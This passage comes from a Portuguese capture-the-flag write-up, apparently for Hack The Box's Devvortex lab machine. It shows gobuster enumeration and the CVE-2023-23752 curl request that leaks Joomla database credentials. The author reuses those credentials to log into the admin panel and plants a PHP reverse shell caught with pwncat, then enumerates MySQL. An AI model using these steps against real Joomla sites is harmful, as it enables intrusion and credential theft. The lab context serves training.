/.cvs                 &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.bash_history        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.cvsignore           &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.forward             &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.history             &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.htaccess            &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.htpasswd            &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.listing             &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.perf                &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.ssh                 &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.passwd              &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.rhosts              &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.profile             &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.subversion          &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.svn                 &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/.web                 &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 162]
/administrator        &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/administrator/]
/api                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/api/]
/cache                &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/cache/]
/cli                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/cli/]
/components           &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/components/]
/home                 &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 23221]
/images               &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/images/]
/includes             &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/includes/]
/language             &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/language/]
/layouts              &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/layouts/]
/libraries            &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/libraries/]
/media                &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/media/]
/modules              &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/modules/]
/plugins              &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/plugins/]
/robots.txt           &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 764]
/templates            &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/templates/]
/tmp                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 178] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; http://dev.devvortex.htb/tmp/]
Progress: 20469 / 20470 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2023/11/28 08:42:21 Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Através do retorno do gobuster podemos visualizar diversos endpoints interessantes, incluindo um administrativo: &lt;strong&gt;&lt;a href="http://dev.devvortex.htb/administrator" rel="noopener noreferrer"&gt;http://dev.devvortex.htb/administrator&lt;/a&gt;&lt;/strong&gt;.&lt;br&gt;
Ao acessarmos este endpoint temos a seguinte página de login:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzlhbb3w5nqph1tsamu9e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzlhbb3w5nqph1tsamu9e.png" alt="Página Joomla" width="800" height="641"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se trata de uma CMS chamada Joomla, comumente utilizada para criação de ecommerces.&lt;br&gt;
Caso a instalação seja padrão, sem adição de uma segurança a mais o joomla por padrão possui diversos endpoints que expoem dados sensíveis, como podemos notar nos seguintes arquivos:&lt;/p&gt;

&lt;p&gt;Versão do Joomla: &lt;a href="http://dev.devvortex.htb/plugins/system/cache/cache.xml" rel="noopener noreferrer"&gt;http://dev.devvortex.htb/plugins/system/cache/cache.xml&lt;/a&gt;&lt;br&gt;
Informações internas: &lt;a href="http://dev.devvortex.htb/administrator/manifests/files/joomla.xml" rel="noopener noreferrer"&gt;http://dev.devvortex.htb/administrator/manifests/files/joomla.xml&lt;/a&gt;&lt;br&gt;
Existe um robots.txt exibindo endpoints interessantes: &lt;a href="http://dev.devvortex.htb/robots.txt" rel="noopener noreferrer"&gt;http://dev.devvortex.htb/robots.txt&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;robots:txt:
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Buscando por vulnerabilidades conhecidas encontramos a &lt;a href="https://vulncheck.com/blog/joomla-for-rce" rel="noopener noreferrer"&gt;CVE-2023-23752&lt;/a&gt;. Esta CVE se trata um information leak por conta de um bypass na autenticação, onde é esta exposto dados do usuário do banco de dados em texto plano:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/devvortex]
└─# curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://dev.devvortex.htb/api/index.php/v1/config/application?public&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt; | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"links"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"self"&lt;/span&gt;: &lt;span class="s2"&gt;"http://dev.devvortex.htb/api/index.php/v1/config/application?public=true"&lt;/span&gt;,
    &lt;span class="s2"&gt;"next"&lt;/span&gt;: &lt;span class="s2"&gt;"http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&amp;amp;page%5Boffset%5D=20&amp;amp;page%5Blimit%5D=20"&lt;/span&gt;,
    &lt;span class="s2"&gt;"last"&lt;/span&gt;: &lt;span class="s2"&gt;"http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&amp;amp;page%5Boffset%5D=60&amp;amp;page%5Blimit%5D=20"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"data"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"application"&lt;/span&gt;,
      &lt;span class="s2"&gt;"id"&lt;/span&gt;: &lt;span class="s2"&gt;"224"&lt;/span&gt;,
      &lt;span class="s2"&gt;"attributes"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"offline"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
        &lt;span class="s2"&gt;"id"&lt;/span&gt;: 224
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"application"&lt;/span&gt;,
      &lt;span class="s2"&gt;"id"&lt;/span&gt;: &lt;span class="s2"&gt;"224"&lt;/span&gt;,
      &lt;span class="s2"&gt;"attributes"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"offline_message"&lt;/span&gt;: &lt;span class="s2"&gt;"This site is down for maintenance.&amp;lt;br&amp;gt;Please check back again soon."&lt;/span&gt;,
        &lt;span class="s2"&gt;"id"&lt;/span&gt;: 224
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    ...
    ...
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"application"&lt;/span&gt;,
      &lt;span class="s2"&gt;"id"&lt;/span&gt;: &lt;span class="s2"&gt;"224"&lt;/span&gt;,
      &lt;span class="s2"&gt;"attributes"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"user"&lt;/span&gt;: &lt;span class="s2"&gt;"lewis"&lt;/span&gt;,
        &lt;span class="s2"&gt;"id"&lt;/span&gt;: 224
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"application"&lt;/span&gt;,
      &lt;span class="s2"&gt;"id"&lt;/span&gt;: &lt;span class="s2"&gt;"224"&lt;/span&gt;,
      &lt;span class="s2"&gt;"attributes"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"password"&lt;/span&gt;: &lt;span class="s2"&gt;"P4ntherg0t1n5r3c0n##"&lt;/span&gt;,
        &lt;span class="s2"&gt;"id"&lt;/span&gt;: 224
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Os dados de usuário acima são referentes ao acesso ao banco de dados mysql, mas se tentarmos acessar o painel administrativo com os mesmos dados temos sucesso!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxek9uvgqq8kjg7hyff2w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxek9uvgqq8kjg7hyff2w.png" alt="Área administrativa Joomla" width="800" height="779"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E podemos notar que o usuário &lt;strong&gt;lewis&lt;/strong&gt; possui acesso de administrador:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feulbejchyyngg537ycen.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feulbejchyyngg537ycen.png" alt="Informações sobre o usuário lewis" width="347" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Com este tipo de acesso conseguimos editar o que desejarmos! Com isso podemos editar arquivos do tema é feito em php para enviar uma shell reversa de forma que consigamos acesso ao servidor alvo!&lt;/p&gt;

&lt;p&gt;Vamos editar o tema atual chamado &lt;strong&gt;cassiopeia&lt;/strong&gt; e criar um novo arquivo:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F22u1u5waztls07rzbwqi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F22u1u5waztls07rzbwqi.png" alt="run.php" width="800" height="751"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E iremos inserir o seguinte shell reverso, feito em php: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php" rel="noopener noreferrer"&gt;Php-reverse-shell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Com o arquivo salvo iremos utilizar o &lt;strong&gt;pwncat&lt;/strong&gt; para ouvir na porta 9001.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/devvortex]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;09:14:01] Welcome to pwncat 🐈!                                                                                    __main__.py:164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E iremos acessar o arquivo &lt;strong&gt;run.php&lt;/strong&gt; que criamos, para executar o mesmo.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq3f5bbazayj1yi0ppxjb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq3f5bbazayj1yi0ppxjb.png" alt="Executando run.php pelo navegador" width="735" height="119"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Com isso temos o seguinte retorno em nosso &lt;strong&gt;pwncat&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/devvortex]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;09:14:01] Welcome to pwncat 🐈!                                                                                    __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;09:14:32] received connection from 10.129.54.142:57012                                                                  bind.py:84
&lt;span class="o"&gt;[&lt;/span&gt;09:14:37] 0.0.0.0:9001: upgrading from /usr/bin/dash to /usr/bin/bash                                               manager.py:957
&lt;span class="o"&gt;[&lt;/span&gt;09:14:39] 10.129.54.142:57012: registered new host w/ db                                                            manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="err"&gt;$&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@devvortex:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos shell em nosso alvo com o usuário &lt;strong&gt;www-data&lt;/strong&gt;. Este é o usuário que executa a aplicação, o nginx. Precisamos nos mover lateralmente para o usuário que possui a user flag.&lt;br&gt;
Para isso vamos realizar um recon no host alvo.&lt;/p&gt;

&lt;p&gt;Dentro as infos que conseguimos recolher podemos notar que existe um &lt;strong&gt;mysql&lt;/strong&gt; rodando na porta 3306 com o acesso local.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:33060         0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      862/nginx: worker p
tcp        0      0 127.0.0.53:53           0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp6       0      0 :::80                   :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      862/nginx: worker p
tcp6       0      0 :::22                   :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Voltando na vulnerabilidade que exploramos no Joomla, os dados de acesso que conseguimos correspondem ao usuário e senha de acesso ao banco.&lt;br&gt;
Vamos dar uma olhada no seu conteúdo&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@devvortex:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;mysql &lt;span class="nt"&gt;-u&lt;/span&gt; lewis &lt;span class="nt"&gt;-h&lt;/span&gt; 127.0.0.1 &lt;span class="nt"&gt;-P&lt;/span&gt; 3306 &lt;span class="nt"&gt;-p&lt;/span&gt;
Enter password:
Welcome to the MySQL monitor.  Commands end with &lt;span class="p"&gt;;&lt;/span&gt; or &lt;span class="se"&gt;\g&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Your MySQL connection &lt;span class="nb"&gt;id &lt;/span&gt;is 22108
Server version: 8.0.35-0ubuntu0.20.04.1 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;

Copyright &lt;span class="o"&gt;(&lt;/span&gt;c&lt;span class="o"&gt;)&lt;/span&gt; 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type &lt;span class="s1"&gt;'help;'&lt;/span&gt; or &lt;span class="s1"&gt;'\h'&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;help. Type &lt;span class="s1"&gt;'\c'&lt;/span&gt; to clear the current input statement.

mysql&amp;gt; show databases&lt;span class="p"&gt;;&lt;/span&gt;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows &lt;span class="k"&gt;in &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;0.00 sec&lt;span class="o"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Existem três databases, duas padrões do mysql e uma para a CMS Joomla, vamos focar nesta última:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
mysql&amp;gt; use joomla&lt;span class="p"&gt;;&lt;/span&gt;
Reading table information &lt;span class="k"&gt;for &lt;/span&gt;completion of table and column names
You can turn off this feature to get a quicker startup with &lt;span class="nt"&gt;-A&lt;/span&gt;

Database changed
mysql&amp;gt; show tables&lt;span class="p"&gt;;&lt;/span&gt;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| sd4fg_action_log_config       |
| sd4fg_action_logs             |
| sd4fg_action_logs_extensions  |
| sd4fg_action_logs_users       |
| sd4fg_assets                  |
| sd4fg_associations            |
| sd4fg_banner_clients          |
| sd4fg_banner_tracks           |
| sd4fg_banners                 |
| sd4fg_categories              |
| sd4fg_contact_details         |
| sd4fg_content                 |
| sd4fg_content_frontpage       |
| sd4fg_content_rating          |
| sd4fg_content_types           |
| sd4fg_contentitem_tag_map     |
| sd4fg_extensions              |
| sd4fg_fields                  |
| sd4fg_fields_categories       |
| sd4fg_fields_groups           |
| sd4fg_fields_values           |
| sd4fg_finder_filters          |
| sd4fg_finder_links            |
| sd4fg_finder_links_terms      |
| sd4fg_finder_logging          |
| sd4fg_finder_taxonomy         |
| sd4fg_finder_taxonomy_map     |
| sd4fg_finder_terms            |
| sd4fg_finder_terms_common     |
| sd4fg_finder_tokens           |
| sd4fg_finder_tokens_aggregate |
| sd4fg_finder_types            |
| sd4fg_history                 |
| sd4fg_languages               |
| sd4fg_mail_templates          |
| sd4fg_menu                    |
| sd4fg_menu_types              |
| sd4fg_messages                |
| sd4fg_messages_cfg            |
| sd4fg_modules                 |
| sd4fg_modules_menu            |
| sd4fg_newsfeeds               |
| sd4fg_overrider               |
| sd4fg_postinstall_messages    |
| sd4fg_privacy_consents        |
| sd4fg_privacy_requests        |
| sd4fg_redirect_links          |
| sd4fg_scheduler_tasks         |
| sd4fg_schemas                 |
| sd4fg_session                 |
| sd4fg_tags                    |
| sd4fg_template_overrides      |
| sd4fg_template_styles         |
| sd4fg_ucm_base                |
| sd4fg_ucm_content             |
| sd4fg_update_sites            |
| sd4fg_update_sites_extensions |
| sd4fg_updates                 |
| sd4fg_user_keys               |
| sd4fg_user_mfa                |
| sd4fg_user_notes              |
| sd4fg_user_profiles           |
| sd4fg_user_usergroup_map      |
| sd4fg_usergroups              |
| sd4fg_users                   |
| sd4fg_viewlevels              |
| sd4fg_webauthn_credentials    |
| sd4fg_workflow_associations   |
| sd4fg_workflow_stages         |
| sd4fg_workflow_transitions    |
| sd4fg_workflows               |
+-------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Das diversas tabelas a que nos chama atenção é a &lt;strong&gt;sd4fg_users&lt;/strong&gt;, que guarda as informações sobre os usuários do Joomla, vamos ver seu conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
